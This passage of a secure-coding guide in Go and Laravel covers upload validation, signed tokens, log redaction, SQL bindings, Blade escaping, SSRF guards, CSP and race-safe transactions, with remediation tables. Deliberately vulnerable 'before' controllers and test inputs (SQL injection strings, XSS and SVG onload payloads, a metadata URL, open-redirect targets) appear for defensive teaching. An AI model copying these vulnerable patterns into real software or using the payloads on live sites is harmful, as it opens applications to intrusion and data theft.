return nil, "", err
}
if int64(len(data)) > l.MaxBytes {
return nil, "", ErrTooLarge
}
ext, ok := allowed[http.DetectContentType(data)]
if !ok {
return nil, "", ErrType
}
cfg, _, err := image.DecodeConfig(bytes.NewReader(data))
if err != nil {
return nil, "", ErrUnreadable
}
if cfg.Width <= 0 || cfg.Height <= 0 || cfg.Width > l.MaxPixels/cfg.Height {
return nil, "", ErrImageBomb
}
return data, ext, nil
}
// Handler accepts multipart field "avatar" and writes it into root (a
// directory the web server does not serve) under a random name.
func Handler(root *os.Root, l Limits) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
r.Body = http.MaxBytesReader(w, r.Body, l.MaxBytes+64<<10)
f, _, err := r.FormFile("avatar") // the client filename is ignored
if err != nil {
http.Error(w, "missing file", http.StatusBadRequest)
return
}
defer f.Close()
data, ext, err := Validate(f, l)
if err != nil {
http.Error(w, err.Error(), http.StatusUnprocessableEntity)
return
}
b := make([]byte, 16)
_, _ = rand.Read(b)
name := hex.EncodeToString(b) + ext
out, err := root.OpenFile(name, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o600)
if err != nil {
http.Error(w, "storage error", http.StatusInternalServerError)
return
}
defer out.Close()
if _, err := out.Write(data); err != nil {
http.Error(w, "storage error", http.StatusInternalServerError)
return
}
w.WriteHeader(http.StatusCreated)
_, _ = io.WriteString(w, name)
}
}package upload
import (
"bytes"
"encoding/binary"
"errors"
"hash/crc32"
"image"
"image/png"
"testing"
)
// pngHeader is a "pixel flood": a few dozen bytes whose IHDR claims w x h.
func pngHeader(w, h uint32) []byte {
var b bytes.Buffer
b.WriteString("\x89PNG\r\n\x1a\n")
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:], w)
binary.BigEndian.PutUint32(ihdr[4:], h)
ihdr[8] = 8 // bit depth; colour type 0 (grey)
_ = binary.Write(&b, binary.BigEndian, uint32(len(ihdr)))
chunk := append([]byte("IHDR"), ihdr...)
b.Write(chunk)
_ = binary.Write(&b, binary.BigEndian, crc32.ChecksumIEEE(chunk))
return b.Bytes()
}
func TestValidate(t *testing.T) {
var real bytes.Buffer
_ = png.Encode(&real, image.NewGray(image.Rect(0, 0, 2, 2)))
l := Limits{MaxBytes: 1 << 20, MaxPixels: 25_000_000}
if _, ext, err := Validate(bytes.NewReader(real.Bytes()), l); err != nil || ext != ".png" {
t.Fatalf("real PNG rejected: %v", err)
}
cases := map[string]struct {
data []byte
want error
}{
"html named avatar.png": {[]byte("<html><script>alert(1)</script>"), ErrType},
"svg": {[]byte(`<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>`), ErrType},
"pixel flood 50k x 50k": {pngHeader(50000, 50000), ErrImageBomb},
"too large": {bytes.Repeat([]byte{0}, 2<<20), ErrTooLarge},
}
for name, c := range cases {
if _, _, err := Validate(bytes.NewReader(c.data), l); !errors.Is(err, c.want) {
t.Errorf("%s: got %v want %v", name, err, c.want)
}
}
}Signed JSON instead of native deserialization:
// Package signed replaces native object deserialization (PHP unserialize,
// Java ObjectInputStream, Go gob from strangers) with data-only JSON whose
// integrity is checked before it is parsed: "v1.<payload>.<hmac>".
package signed
import (
"bytes"
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"errors"
"strings"
)
// ErrInvalid covers bad format, unknown key id, bad MAC and bad JSON alike,
// so the caller cannot tell which check failed.
var ErrInvalid = errors.New("signed: invalid token")
var b64 = base64.RawURLEncoding
func mac(key []byte, kid, payload string) []byte {
m := hmac.New(sha256.New, key)
m.Write([]byte(kid + "." + payload))
return m.Sum(nil)
}
// Sign encodes v as JSON and appends an HMAC-SHA256 over kid and payload.
func Sign(kid string, key []byte, v any) (string, error) {
js, err := json.Marshal(v)
if err != nil {
return "", err
}
p := b64.EncodeToString(js)
return kid + "." + p + "." + b64.EncodeToString(mac(key, kid, p)), nil
}
// Verify checks the MAC with the key named by kid (rotation: keep old kids
// until their tokens expire), then decodes strictly into dst.
func Verify(keys map[string][]byte, token string, dst any) error {
parts := strings.Split(token, ".")
if len(parts) != 3 {
return ErrInvalid
}
key, ok := keys[parts[0]]
if !ok {
return ErrInvalid
}
sig, err := b64.DecodeString(parts[2])
if err != nil || !hmac.Equal(sig, mac(key, parts[0], parts[1])) {
return ErrInvalid
}
js, err := b64.DecodeString(parts[1])
if err != nil {
return ErrInvalid
}
dec := json.NewDecoder(bytes.NewReader(js))
dec.DisallowUnknownFields()
if err := dec.Decode(dst); err != nil {
return ErrInvalid
}
return nil
}Structured, redacted security logging:
// Package logsafe covers A09: log the security events, keep the log
// parseable when input contains CR/LF (log injection), and never write
// secrets or raw tokens.
package logsafe
import (
"io"
"log"
"log/slog"
"strings"
)
// LoginFailedBefore interpolates user input into a text line. A username of
// "x\n2026/01/01 login ok user=admin" forges a second, fake log entry.
func LoginFailedBefore(l *log.Logger, user, password string) {
l.Printf("login failed user=%s password=%s", user, password)
}
var secretKeys = map[string]bool{
"password": true, "token": true, "authorization": true, "cookie": true, "secret": true,
}
// New returns a JSON logger: values are escaped by the encoder, so a newline
// stays inside its string, and secret-looking keys are redacted.
func New(w io.Writer) *slog.Logger {
return slog.New(slog.NewJSONHandler(w, &slog.HandlerOptions{
Level: slog.LevelInfo,
ReplaceAttr: func(_ []string, a slog.Attr) slog.Attr {
if secretKeys[strings.ToLower(a.Key)] {
return slog.String(a.Key, "[REDACTED]")
}
return a
},
}))
}
// LoginFailed records the event with stable fields an alert rule can count:
// event name, user, client IP, reason. Never the password.
func LoginFailed(l *slog.Logger, user, ip, reason string) {
l.Warn("auth.login_failed", "user", user, "ip", ip, "reason", reason)
}The Go angle
database/sqlnever interpolates: arguments toQueryContext/ExecContextgo to the driver separately (pgx uses the extended protocol with$1; go-sql-driver/mysql uses server-side prepares unlessinterpolateParams=true, where the driver escapes client-side). Identifiers still need an allowlist;pgx.Identifier{...}.Sanitize()exists for schema tooling, not for user input.html/templateis contextual: the package docs say its model "assumes that template authors are trusted, while Execute's data parameter is not". The typestemplate.HTML,template.JS,template.URL,template.CSSdisable escaping; gosec G203 flags their use. Use bluemonday if you must render user HTML.os.Root(1.24) is the stdlib answer to path traversal, including symlinks;filepath.IsLocal(1.20) is a quick lexical check. gosec G304 flags file paths from input; G305 flags zip slip.- SSRF:
net.Dialer.Control(orControlContext) sees the IP being dialled after DNS resolution, which is the only place a rebinding check is reliable. SetTransport.Proxytonil, otherwise the environment'sHTTPS_PROXYmakes you check the proxy's address. gosec G107 flags variable URLs; G704 is a taint-based SSRF rule. net/httprejects header values containing CR/LF andhttp.Redirectcleans paths, which closes response splitting at the framework level.- CSRF: Go 1.25 added
http.CrossOriginProtection, which "implements protections against Cross-Site Request Forgery (CSRF) by rejecting non-safe cross-origin browser requests" usingSec-Fetch-Siteor Origin; this module stays on 1.24 and shows the mechanism, plus a token fallback. - Deserialization:
encoding/jsonand protobuf only produce data;encoding/gobis "not designed to be hardened against adversarial inputs"; cap input sizes withio.LimitReaderorMaxBytesReaderfor every decoder. - Tooling:
govulncheck ./...(reachability-aware), gosec (rules G1xx general, G2xx injection, G3xx file paths, G4xx crypto/TLS, G5xx blocklisted imports),staticcheck, semgrep's Go rules, andgo test -racefor the race-condition class.
Laravel
Example: bindings, Blade, Fillable, uploads, SSRF guard, CSP, CSRF wiring
The vulnerable controller (bad design on purpose):
<?php
namespace App\Http\Controllers\Before;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
// Bad design on purpose: every value below is spliced into SQL text.
class SearchController
{
public function index(Request $request)
{
$term = $request->input('q', '');
$sort = $request->input('sort', 'created_at');
// 1. Interpolation into a raw query: q=' OR '1'='1 returns everything.
$posts = DB::select("SELECT id, title FROM posts WHERE title LIKE '%{$term}%'");
// 2. Raw ORDER BY from input: sort=(SELECT password FROM users LIMIT 1)
// becomes a boolean/time-based oracle. PDO cannot bind identifiers.
$sorted = DB::table('posts')->orderByRaw($sort)->get();
// 3. Column name from input: the query builder binds values, not columns.
$filtered = DB::table('posts')->where($request->input('field', 'title'), $term)->get();
return response()->json(compact('posts', 'sorted', 'filtered'));
}
}Bindings, whereLike and an allowlisted sort:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Validation\Rule;
class PostSearchController
{
/** Public sort key => application-owned column and direction. */
private const SORTS = [
'newest' => ['created_at', 'desc'],
'oldest' => ['created_at', 'asc'],
'title' => ['title', 'asc'],
];
public function index(Request $request)
{
$data = $request->validate([
'q' => ['nullable', 'string', 'max:100'],
'sort' => ['nullable', Rule::in(array_keys(self::SORTS))],
'per_page' => ['nullable', 'integer', 'between:1,100'],
]);
[$column, $direction] = self::SORTS[$data['sort'] ?? 'newest'];
return DB::table('posts')
->select(['id', 'title', 'created_at'])
// whereLike binds the pattern; % and _ typed by the user would still
// act as wildcards, so escape them (backslash is the default LIKE
// escape in MySQL and PostgreSQL; SQLite needs an ESCAPE clause).
->whereLike('title', '%'.addcslashes($data['q'] ?? '', '%_\\').'%')
->orderBy($column, $direction)
->paginate($data['per_page'] ?? 20);
}
public function raw(Request $request)
{
// When raw SQL is unavoidable, keep values in the bindings array.
return DB::select(
'SELECT id, title FROM posts WHERE author_id = ? AND created_at > ?',
[$request->user()->id, now()->subDays(30)]
);
}
}Blade escaping, a URL check, Js::from and the raw echo for sanitised HTML only:
{{-- Escaped: Blade passes {{ }} through htmlspecialchars. Use for all user data. --}}
<h1>{{ $user->name }}</h1>
<p title="{{ $user->bio }}">{{ $user->bio }}</p>
{{-- A URL needs more than HTML escaping: javascript:alert(1) survives htmlspecialchars. --}}
@if (str_starts_with($user->website ?? '', 'https://'))
<a href="{{ $user->website }}" rel="nofollow noopener">website</a>
@endif
{{-- Data for JavaScript: Js::from emits JSON-encoded, HTML-safe output. --}}
<script nonce="{{ \Illuminate\Support\Facades\Vite::cspNonce() }}">
const profile = {{ \Illuminate\Support\Js::from(['name' => $user->name]) }};
</script>
{{-- Unescaped: only for HTML you produced or sanitised server-side. --}}
<div class="about">{!! $aboutHtmlSanitised !!}</div>
{{-- Vulnerable: raw user input (stored XSS). Never do this. --}}
{{-- <div>{!! $user->bio !!}</div> --}}Mass assignment: the Laravel 13 Fillable attribute and validated input:
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Attributes\Fillable;
use Illuminate\Foundation\Auth\User as Authenticatable;
// Laravel 13 declares the mass-assignment allowlist with an attribute.
// Older code uses `protected $fillable = [...]` or `protected $guarded = [...]`.
// is_admin, role, email_verified_at and balance are deliberately absent:
// only server code may set them, with explicit assignments.
#[Fillable(['name', 'email', 'bio', 'website'])]
class User extends Authenticatable
{
}<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class ProfileController
{
public function updateBefore(Request $request)
{
// Vulnerable if the model is unguarded or lists 'role' as fillable:
// PATCH {"name":"Ana","role":"admin"} promotes the caller.
$request->user()->update($request->all());
return response()->noContent();
}
public function update(Request $request)
{
$request->validate([
'name' => ['sometimes', 'string', 'max:100'],
'bio' => ['sometimes', 'nullable', 'string', 'max:1000'],
'website' => ['sometimes', 'nullable', 'url:https', 'max:255'],
]);
// Second allowlist at the call site: only validated, named keys.
$request->user()->update($request->safe()->only(['name', 'bio', 'website']));
return response()->noContent();
}
}Uploads: content-based validation, pixel limits, hashName() and a private disk:
<?php
namespace App\Http\Requests;
use Illuminate\Foundation\Http\FormRequest;
use Illuminate\Validation\Rule;
use Illuminate\Validation\Rules\File;
class UploadAvatarRequest extends FormRequest
{
public function authorize(): bool
{
return $this->user() !== null;
}
public function rules(): array
{
return [
'avatar' => [
'required',
// File::image() guesses the MIME type from the content, not the
// client header, and rejects SVG unless allowSvg: true is passed.
File::image()
->max('5mb')
->dimensions(Rule::dimensions()->maxWidth(4000)->maxHeight(4000)),
],
];
}
}<?php
namespace App\Http\Controllers;
use App\Http\Requests\UploadAvatarRequest;
use Illuminate\Support\Facades\Storage;
class AvatarController
{
public function store(UploadAvatarRequest $request)
{
// store() names the file with hashName(): random name plus an extension
// derived from the content. The private s3 disk is outside any web root.
$path = $request->file('avatar')->store('avatars/'.$request->user()->id, 's3');
$request->user()->forceFill(['avatar_path' => $path])->save();
return response()->json([
// Short-lived signed URL instead of a public bucket.
'url' => Storage::disk('s3')->temporaryUrl($path, now()->addMinutes(5)),
], 201);
}
}SSRF guard around the Http client:
<?php
namespace App\Services;
use Illuminate\Http\Client\Response;
use Illuminate\Support\Facades\Http;
use InvalidArgumentException;
// SSRF guard for "fetch this URL" features (link previews, webhooks, imports).
class SafeHttpClient
{
/** @param list<string> $allowedHosts empty = any public host */
public function __construct(private array $allowedHosts = []) {}
public function get(string $url): Response
{
$parts = parse_url($url);
$host = strtolower(rtrim($parts['host'] ?? '', '.'));
if (($parts['scheme'] ?? '') !== 'https' || $host === '' || isset($parts['user']) || isset($parts['pass'])) {
throw new InvalidArgumentException('URL not allowed');
}
if ($this->allowedHosts !== [] && ! in_array($host, $this->allowedHosts, true)) {
throw new InvalidArgumentException('Host not allowed');
}
$port = $parts['port'] ?? 443;
if ($port !== 443) {
throw new InvalidArgumentException('Port not allowed');
}
$ip = $this->resolvePublicIp($host);
// Pin the connection to the address we validated (no second DNS lookup,
// so DNS rebinding cannot swap in 127.0.0.1), refuse redirects, cap time.
return Http::withOptions([
'allow_redirects' => false,
'proxy' => '',
'curl' => [CURLOPT_RESOLVE => ["{$host}:{$port}:{$ip}"]],
])->connectTimeout(3)->timeout(10)->get($url);
}
private function resolvePublicIp(string $host): string
{
$records = dns_get_record($host, DNS_A | DNS_AAAA) ?: [];
$ips = array_values(array_filter(array_map(
fn (array $r) => $r['ip'] ?? $r['ipv6'] ?? null,
$records
)));
if ($ips === []) {
throw new InvalidArgumentException('Host does not resolve');
}
foreach ($ips as $ip) {
// Every answer must be public: a mixed answer is a rebinding trick.
// NO_PRIV covers 10/8, 172.16/12, 192.168/16 (and fc00::/7);
// NO_RES covers 0/8, 127/8, 169.254/16 (metadata), 240/4,
// ::1, ::ffff:0:0/96 (IPv4-mapped) and fe80::/10.
$public = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
if ($public === false || $this->inCidr($ip, '100.64.0.0', 10) || str_starts_with(strtolower($ip), '64:ff9b:')) {
throw new InvalidArgumentException('Destination not allowed');
}
}
return $ips[0];
}
/** Carrier-grade NAT (100.64.0.0/10) is neither "private" nor "reserved" to filter_var. */
private function inCidr(string $ip, string $net, int $bits): bool
{
$long = ip2long($ip);
return $long !== false && ($long >> (32 - $bits)) === (ip2long($net) >> (32 - $bits));
}
}Security headers and a CSP nonce through Vite:
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Vite;
use Symfony\Component\HttpFoundation\Response;
class SecurityHeaders
{
public function handle(Request $request, Closure $next): Response
{
// Vite adds nonce="..." to every script and style tag it generates.
Vite::useCspNonce();
$response = $next($request);
$response->headers->add([
'Content-Security-Policy' => implode('; ', [
"script-src 'nonce-".Vite::cspNonce()."' 'strict-dynamic'",
"object-src 'none'",
"base-uri 'none'",
"frame-ancestors 'none'",
"form-action 'self'",
]),
'Strict-Transport-Security' => 'max-age=63072000; includeSubDomains; preload',
'X-Content-Type-Options' => 'nosniff',
'Referrer-Policy' => 'strict-origin-when-cross-origin',
'Permissions-Policy' => 'camera=(), microphone=(), geolocation=(), payment=()',
'X-Frame-Options' => 'DENY',
]);
$response->headers->remove('X-Powered-By');
return $response;
}
}bootstrap/app.php: middleware registration and the CSRF exclusion:
<?php
use App\Http\Middleware\SecurityHeaders;
use Illuminate\Foundation\Application;
use Illuminate\Foundation\Configuration\Exceptions;
use Illuminate\Foundation\Configuration\Middleware;
return Application::configure(basePath: dirname(__DIR__))
->withRouting(
web: __DIR__.'/../routes/web.php',
api: __DIR__.'/../routes/api.php',
health: '/up',
)
->withMiddleware(function (Middleware $middleware): void {
$middleware->web(append: [SecurityHeaders::class]);
// PreventRequestForgery is already in the web group. Exclude only
// endpoints that authenticate another way (a signed webhook).
$middleware->preventRequestForgery(except: [
'webhooks/payments',
]);
})
->withExceptions(function (Exceptions $exceptions): void {
// With APP_DEBUG=false (production) users get a generic error page;
// details go to the log, not the response.
})
->create();Double spend: check-then-act versus a conditional decrement plus a unique idempotency key:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
class TransferController
{
public function withdrawBefore(Request $request)
{
$amount = (int) $request->input('amount');
$account = DB::table('accounts')->where('user_id', $request->user()->id)->first();
// Time of check ... two parallel requests both see the old balance.
if ($account->balance < $amount) {
abort(422, 'Insufficient funds');
}
// ... time of use: both writes succeed, money is spent twice.
DB::table('accounts')->where('id', $account->id)->update(['balance' => $account->balance - $amount]);
return response()->noContent();
}
public function withdraw(Request $request)
{
$data = $request->validate([
'amount' => ['required', 'integer', 'min:1'],
'idempotency_key' => ['required', 'uuid'],
]);
return DB::transaction(function () use ($request, $data) {
// A unique index on (user_id, idempotency_key) turns a retried
// request into a duplicate-key error instead of a second debit.
DB::table('withdrawals')->insert([
'user_id' => $request->user()->id,
'idempotency_key' => $data['idempotency_key'],
'amount' => $data['amount'],
'created_at' => now(),
]);
// The check is part of the write: one atomic conditional UPDATE.
$affected = DB::table('accounts')
->where('user_id', $request->user()->id)
->where('balance', '>=', $data['amount'])
->decrement('balance', $data['amount']);
if ($affected === 0) {
abort(422, 'Insufficient funds'); // rolls back the insert too
}
return response()->noContent();
});
}
}unserialize versus signed JSON; and an open-redirect guard:
<?php
namespace App\Support;
use InvalidArgumentException;
// Data that leaves the server and comes back (cookies, hidden fields, queue
// payloads from another system) is JSON plus an HMAC, never PHP serialize().
final class SignedPayload
{
public static function decodeBefore(string $cookie): mixed
{
// Object injection: a crafted string instantiates any autoloadable
// class and runs its __wakeup/__destruct (a gadget chain, e.g. from
// phpggc). allowed_classes does not make untrusted input safe.
return unserialize(base64_decode($cookie));
}
public static function encode(array $data, string $key): string
{
$json = json_encode($data, JSON_THROW_ON_ERROR);
$payload = rtrim(strtr(base64_encode($json), '+/', '-_'), '=');
return $payload.'.'.hash_hmac('sha256', $payload, $key);
}
public static function decode(string $token, string $key): array
{
[$payload, $mac] = array_pad(explode('.', $token, 2), 2, '');
// Verify first, in constant time; only then parse, and only as data.
if (! hash_equals(hash_hmac('sha256', $payload, $key), $mac)) {
throw new InvalidArgumentException('Invalid signature');
}
$data = json_decode(base64_decode(strtr($payload, '-_', '+/')), true, 32, JSON_THROW_ON_ERROR);
return is_array($data) ? $data : throw new InvalidArgumentException('Invalid payload');
}
}<?php
namespace App\Support;
// Open-redirect guard for ?next= / ?return_to= parameters.
final class SafeRedirect
{
public static function target(?string $next, string $fallback = '/dashboard'): string
{
if ($next === null || $next === ''
|| ! str_starts_with($next, '/')
|| str_starts_with($next, '//')
|| strpbrk($next, "\\\r\n\t") !== false
|| parse_url($next, PHP_URL_HOST) !== null) {
return $fallback;
}
return $next;
}
}Feature tests:
<?php
namespace Tests\Feature;
use App\Models\User;
use App\Services\SafeHttpClient;
use App\Support\SafeRedirect;
use App\Support\SignedPayload;
use Illuminate\Foundation\Http\Middleware\PreventRequestForgery;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Storage;
use InvalidArgumentException;
use Tests\TestCase;
class OwaspTest extends TestCase
{
use RefreshDatabase;
public function test_search_sort_outside_allowlist_is_rejected(): void
{
$this->actingAs(User::factory()->create())
->getJson('/posts?sort=(SELECT+1)')
->assertStatus(422);
}
public function test_search_term_is_a_binding_not_sql(): void
{
DB::enableQueryLog();
$this->actingAs(User::factory()->create())->getJson("/posts?q=' OR '1'='1")->assertOk();
$last = collect(DB::getQueryLog())->first(fn ($q) => str_contains($q['query'], 'from "posts"'));
$this->assertStringNotContainsString("'1'='1", $last['query']);
$this->assertContains("%' OR '1'='1%", $last['bindings']);
}
public function test_role_is_not_mass_assignable(): void
{
$user = User::factory()->create(['role' => 'user']);
$this->actingAs($user)->patchJson('/me', ['name' => 'Ana', 'role' => 'admin'])->assertNoContent();
$this->assertSame('user', $user->fresh()->role);
}
public function test_request_forgery_middleware_guards_the_web_group(): void
{
// Laravel disables the CSRF middleware while running tests, so assert
// the wiring here and check 419/403 with a browser or curl (see the lab).
$web = app('router')->getMiddlewareGroups()['web'];
$this->assertContains(PreventRequestForgery::class, $web);
}
public function test_security_headers_are_present(): void
{
$this->get('/')
->assertHeader('X-Content-Type-Options', 'nosniff')
->assertHeader('X-Frame-Options', 'DENY');
}
public function test_svg_and_html_uploads_are_rejected(): void
{
Storage::fake('s3');
$this->actingAs(User::factory()->create())
->postJson('/avatar', ['avatar' => UploadedFile::fake()->createWithContent('a.png', '<svg onload="alert(1)"/>')])
->assertStatus(422);
}
public function test_ssrf_guard_refuses_metadata_and_http(): void
{
$client = new SafeHttpClient;
foreach (['http://example.com/', 'https://169.254.169.254/latest/meta-data/', 'https://localhost/'] as $url) {
try {
$client->get($url);
$this->fail("{$url} was fetched");
} catch (InvalidArgumentException) {
$this->addToAssertionCount(1);
}
}
}
public function test_signed_payload_rejects_tampering(): void
{
$token = SignedPayload::encode(['user_id' => 7], 'k');
$this->assertSame(['user_id' => 7], SignedPayload::decode($token, 'k'));
$this->expectException(InvalidArgumentException::class);
SignedPayload::decode('eyJ1c2VyX2lkIjoxfQ.'.explode('.', $token)[1], 'k');
}
public function test_open_redirect_is_closed(): void
{
$this->assertSame('/orders/1', SafeRedirect::target('/orders/1'));
$this->assertSame('/dashboard', SafeRedirect::target('//evil.example'));
$this->assertSame('/dashboard', SafeRedirect::target('https://evil.example'));
}
}The Laravel angle
- Query builder: "The Laravel query builder uses PDO parameter binding to protect your application against SQL injection attacks." The exceptions are spelled out in the docs: column names ("PDO does not support binding column names") and the raw family (
DB::raw,selectRaw,whereRaw,orderByRaw,havingRaw), which accept a bindings array you must use. - Blade: the double-curly echo goes through
htmlspecialchars; the raw echo with exclamation marks does not ("Be very careful when echoing content that is supplied by users of your application"). For JSON inside scripts useJs::from. URLs need a scheme check because HTML escaping leavesjavascript:intact. - CSRF:
PreventRequestForgeryin thewebgroup checksSec-Fetch-Site, then the token;@csrfin forms; Axios sendsX-XSRF-TOKENfrom theXSRF-TOKENcookie. The docs: "the CSRF middleware is automatically disabled for all routes when running tests", so test the wiring and verify 419 manually. Laravel 11 and 12 called the middlewareVerifyCsrfToken/ValidateCsrfToken. - Mass assignment:
#[Fillable([...])]or#[Guarded([...])](older code:$fillable/$guardedproperties),$request->validated(),$request->safe()->only([...]);Model::preventSilentlyDiscardingAttributes()in development. - Uploads:
File::image()validates by content and refuses SVG unlessallowSvg: true;dimensionslimits pixels;store()useshashName(); the filesystem docs warn against user-chosen names instoreAs. Keep uploads on a private disk and hand outtemporaryUrls. - HTTP client: Laravel has no built-in SSRF guard;
Http::withOptions()passes Guzzle options (allow_redirects,proxy,curl), andconnectTimeout/timeoutbound the call.Http::preventStrayRequests()in tests makes every unfaked request fail. - Configuration:
APP_DEBUG=falsein production ("this value should always be false"); keep.envoutside the web root (onlypublic/is served);php artisan config:cachein deploys; encrypted.envfiles withphp artisan env:encryptfor secrets in the repository. - Supply chain:
composer auditin CI (also runs automatically aftercomposer updateandrequire), Dependabot or Renovate for Composer and npm, andvite-plugin-manifest-srifor SRI on built assets. Static analysis: Larastan/PHPStan for type errors, semgrep's PHP and Laravel rules for taint (raw queries,unserialize,exec). - Logging:
Log::withContext(['request_id' => ...]), a JSON formatter via a channeltap, and never$request->all()in log context (passwords). Thepasswordandpassword_confirmationfields are already excluded from flashed input in validation errors.
Solving the classic problems
Pentest report: SQL injection in a sort parameter
| Solution | How | Advantage | Cost / limitation |
|---|---|---|---|
| Allowlist map | Public key → fixed column and direction | Impossible to inject; documents the API | One line per new sort option |
| Parameterise everything else | $1/? bindings, whereLike | Fixes the whole class | Requires touching every raw query |
| Least-privilege DB role | Web role cannot read users.password_hash via a view | Limits blast radius | Schema work |
| WAF rule | Block SELECT in query strings | Buys days | Bypassable; never the fix |
Find every concatenation: gosec -include=G201,G202 ./...; semgrep --config p/sql-injection; grep -rn "Raw(" app/.
Stored XSS in comments
| Solution | How | Advantage | Cost / limitation |
|---|---|---|---|
| Escape on output | Blade double-curly echo, html/template | Default, covers every new field | Rich text needs a sanitiser |
| Sanitise rich text | HTML Purifier / bluemonday on save and render | Allows formatting | Library must be kept current |
| Strict CSP | Nonce + strict-dynamic | Catches what slips through | Refactor inline handlers |
| Clean up stored payloads | Re-render or re-sanitise existing rows | Removes the time bomb | Migration job |
SSRF in a webhook tester
| Solution | How | Advantage | Cost / limitation |
|---|---|---|---|
| Dialer IP check | net.Dialer.Control, pinned resolution | Defeats DNS rebinding | Must also cover redirects and proxies |
| Separate egress | Fetcher service in a subnet with only internet egress | Defence in depth | One more service |
| IMDSv2, no instance role on the fetcher | HttpTokens=required, hop limit 1 | Removes the prize | Old SDKs need updating |
| Response handling | Cap size, do not echo body to user | Limits data exfiltration | Less helpful error messages |
IDOR in an invoices API
Scope by ownership in the query so the database cannot return a foreign row; return 404 rather than 403 so ids cannot be confirmed:
-- Every read and write carries the tenant and the owner
SELECT id, number, total FROM invoices WHERE id = $1 AND tenant_id = $2 AND customer_id = $3;
-- Defence in depth in PostgreSQL: row-level security keyed on a session setting
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
CREATE POLICY tenant_isolation ON invoices
USING (tenant_id = current_setting('app.tenant_id')::bigint);
-- the app runs SET LOCAL app.tenant_id = '42' at the start of each transaction| Solution | How | Advantage | Cost / limitation |
|---|---|---|---|
| Owner-scoped queries | $user->invoices()->findOrFail($id) | Simple, fast | Every query must remember |
| Policies | Gate::authorize('view', $invoice) | Central rules, testable | Must be called on every action |
| RLS | PostgreSQL policies | Holds even when code forgets | Connection-pool session hygiene |
| Opaque ids | UUIDv4/ULID instead of sequences | Less enumeration | Not authorization |
Debug page leaked in production
| Step | Action |
|---|---|
| Contain | Set APP_DEBUG=false, redeploy, php artisan config:cache |
| Rotate | APP_KEY (with APP_PREVIOUS_KEYS for a grace period), database and API credentials shown on the page |
| Investigate | Access logs for requests that produced 500s with debug output |
| Prevent | CI check on production env; Ignition/Whoops not installed in production (composer install --no-dev) |
A dependency CVE lands on Friday
| Step | Action |
|---|---|
| Triage | govulncheck ./... shows whether the vulnerable symbol is reachable; composer audit --locked lists the package |
| Patch | Renovate/Dependabot PR, tests, deploy |
| Mitigate if no patch | WAF rule or feature flag to disable the path |
| Record | SBOM shows every service with that version |
Coupon redeemed twice
-- One redemption per coupon and user, enforced by the database
CREATE UNIQUE INDEX coupon_once ON redemptions (coupon_id, user_id);
-- Balance check inside the write; zero rows updated means insufficient funds
UPDATE accounts SET balance = balance - 100
WHERE id = 7 AND balance >= 100
RETURNING balance;| Solution | How | Advantage | Cost / limitation |
|---|---|---|---|
| Unique constraint | coupon_once | Race-proof for one-time actions | Handle duplicate-key error (SQLSTATE 23505, MySQL 1062) |
| Conditional update | WHERE balance >= $amount | No lock held across the request | Rule must fit in WHERE |
| Row lock | SELECT ... FOR UPDATE in a transaction | Arbitrary logic | Waits and deadlocks |
| Idempotency key | Unique (user_id, key) | Safe client retries | Storage |
Testing: SAST, DAST, IAST, scanners and bug bounties
| Kind | What it does | Tools | Finds well | Misses |
|---|---|---|---|---|
| SAST (static) | Reads source, follows taint from input to sink | semgrep, gosec, CodeQL, SonarQube, PHPStan/Larastan with security rules, Psalm taint analysis | Concatenated SQL, exec, unserialize, template.HTML | Authorization logic, config |
| SCA | Matches dependencies to advisories | govulncheck, composer audit, Dependabot, Renovate, Trivy, Snyk | Known CVEs | Unknown bugs in your code |
| DAST (dynamic) | Attacks the running app over HTTP | OWASP ZAP (baseline and full scans), Burp Suite Scanner, Nuclei | Missing headers, reflected XSS, SQLi, misconfig | IDOR, business logic |
| IAST (interactive) | Agent inside the running app watches tainted data reach sinks during tests | Contrast Security, Seeker | Real data flows with low false positives | Code paths not exercised |
| Manual testing | A human with a proxy | Burp Suite (Repeater, Intruder, Autorize-style replays), ZAP manual | IDOR, logic, chained bugs | Scale |
| Secret scanning | Finds keys in git history | gitleaks, GitHub secret scanning and push protection | Committed credentials | Secrets outside git |
| Bug bounty | Paid external researchers under rules | HackerOne, Bugcrowd, Intigriti, self-hosted security.txt + VDP | Whatever your tools missed | Needs triage capacity |
1 developer pushes -> pre-commit: gitleaks
2 CI: gofmt/vet, go test -race, gosec, govulncheck, phpstan, composer audit, semgrep --error
3 staging deploy -> ZAP baseline scan (passive, headers, cookies) -> fail on high
4 weekly: ZAP full scan / Burp scan of staging with two test accounts
5 release: SBOM attached, image signed
6 production: bug bounty / VDP (security.txt), CSP reports, WAF logs -> triage queueBug bounty basics. Start with a vulnerability disclosure policy (VDP) and an RFC 9116 /.well-known/security.txt file with a contact and policy link; define scope (domains, apps, out-of-scope issues such as missing headers on marketing sites), safe harbour language, response times and severity (CVSS) to payout mapping; move to a paid programme only when you can triage within days. Duplicate reports and "beg bounties" (automated low-value reports) are normal; a clear policy saves time.
Choosing
| Situation | Primary control | Extra technique | Reason |
|---|---|---|---|
| Any SQL | Placeholders | Allowlist identifiers; least-privilege role | Removes the class |
| Search, filters, sort | whereLike / bound LIKE + sort map | Escape % and _ | Sort columns cannot be bound |
| Server-rendered HTML | Auto-escaping templates | Nonce CSP | Escaping first, CSP catches misses |
| User rich text | Sanitiser allowlist | CSP, separate domain for user content | Escaping would destroy formatting |
| SPA with heavy DOM code | Framework binding (no innerHTML) | Trusted Types, DOMPurify | DOM XSS is invisible to the server |
